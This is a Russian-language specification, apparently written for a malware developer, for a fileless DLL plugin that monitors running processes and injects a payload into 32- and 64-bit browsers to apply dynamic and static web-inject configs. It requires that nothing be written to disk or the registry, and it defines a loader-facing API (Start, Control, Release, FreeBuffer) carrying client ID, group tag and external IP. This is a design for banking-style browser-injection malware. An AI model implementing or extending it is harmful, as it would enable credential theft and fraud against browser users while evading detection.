Надо реализовать DLL (эту DLL мы назовём модулем) которая будет работать в левом произвольном процессе, оттуда мониторить  список процессов и внедрять в браузеры нагрузку (возможно, DLL которая будет работать уже конкретно в браузере). 
На 64 битной системе будет 64-битный модуль, а на 32 битной системе 32-битный модуль.
Тут МЫ ПОНИМАЕМ, что на 64 битной системе 64-битнй модуль будет одновременно держать в себе нагрузку и для 32 -битных браузеров и для 64-битных браузеров!

ClientID,  group и внешний IP-адрес будут переданы через функцию Start в параметре ParentInfo

Конфиг для динамических инжектов будет передан через функию Control( Ctl = "dinj")
Конфиг для статическких инжектов будет передан через функию Control( Ctl = "sinj")
Конфиги и их длина будут переданы через параметры CtlArg и CtlArgLen. остальные параметры не используются
запилить демо-запускатор, который будет грузить скомпиленный модуль через loadLIbrary и передавать конфиги, чтобы инжекты работали в браузерах.
Таким образом, следущая схема:
1. демо-запускатор грузит к себе модуль (DLL) и вызывает функции start и control чтобы передать в неё конфиги, внешний ip-адрес, clientid и group.
2.  код внутри модуля, в некотором потоке мониторит процессы и грузить некоторую нагрузку в браузеры. этой нагрузке передаётся ранее полученный конфиг от демо-запускатора и мы наблюдаем работу инжекта. 

Требования: 
1.Нагрузку (DLL) внедряемую в браузеры, нельзя сохранять на диск или в реестр.
2. код самого модуля не должен пытаться получить путь к самому себе, ибо в реальных условиях он тоже будет запускаться в памяти без сохранения на диск
....

6 Модуль экспортирует следующие функции: Start, Control, Release, FreeBuffer. Все функции имеют конверцию вызова stdcall и экспортируются по именам.
6.1 Функция Start имеет следующий прототип:
PVOID Start(
	LPCSTR ModuleName,	
	LPCBYTE Arg,
	SIZE_T ArgLen,
	LPSTR ResultInfo,
	const ParentInfo* pParentData,
	PVOID EventCallback,
	PVOID EventCallbackContext,
	PVOID Reserved1);
Функция вызывается когда от сервера пришёл ctl "start"
ModuleName - имя модуля
Arg - аргумент команды start
ArgLen - размер параметр CtlArg в байтах
ResultInfo -буфер для результирующей строки ctl. Буфер имеет фиксированную длину 1024 байта
pParentData - информация о вышестоящей логике, управляется конфигом модуля
EventCallback - не используется, всегда ноль
EventCallbackContext - не используется, всегда ноль
Функция в случае удачи возвращает описатель, который необходимо использовать при вызове функций Control и Release. В случае неудачи функция возвращает ноль.

typedef struct ParentInfo {
	CHAR ParentID[256];
	CHAR ParentGroup[64];
	CHAR SelfIP[64];
	LPCWSTR ParentFiles;
} ;
ParentID - полный ID клиента вышестоящей логики
ParentGroup - группирующий тег вышестоящей логики
SelfIP - внешний IP-адрес 
ParentFiles - не используется

6.2 Функция Control имеет следующий прототип
BOOL Control (
	PVOID ModuleHandle,
	LPCSTR Ctl,	
	LPCBYTE CtlArg,
	SIZE_T CtlArgLen,
	LPSTR CtlResultInfo,
	PVOID* ppOutData,
	PDWORD pOutDataSize,
	LPCSTR pOutDataTag,	
	PVOID Reserved1);

ModuleHandle - описатель модуля, которое вернула функция Start.
Ctl - строка содержащая ctl к модулю
CtlArg - аргумент ctl к модулю
CtlArgLen - размер параметр CtlArg в байтах
ResultInfo -буфер для результирующей строки ctl. Буфер имеет фиксированную длину 1024 байта
ppOutData - указатель на переменную в которую будет сохранён указатель на буфер с выходными данными ctl (ctl_OutData)
pOutDataSize - указатель на переменную в которую будет сохранён размер данных в  буфере с выходными данными ctl
pOutDataTag - буфер для вспомогательного тега, который будет отправлен на сервер. Буфер имеет фиксированную длину 128 байт
Функция в случае удачи возвращает TRUE, в противном случае функция возвращает FALSE. В случае успеха если значение *ppOutData после вызова не равно нулю, то этот буфер должен быть освобождён через функцию FreeBuffer 
6.3 Функция Release имеет следующий прототип
VOID Release (
	PVOID ModuleHandle);
Функция реализует полное завершение работы модуля. В её задачи входит удаление всех ресурсов используемых в ходе работы модуля.

6.4 Функция FreeBuffer имеет следующий прототип
VOID FreeBuffer (
	PVOID pMemory);
Функция освобождает буфер выделенный внутри функции Control (параметр ppOutData).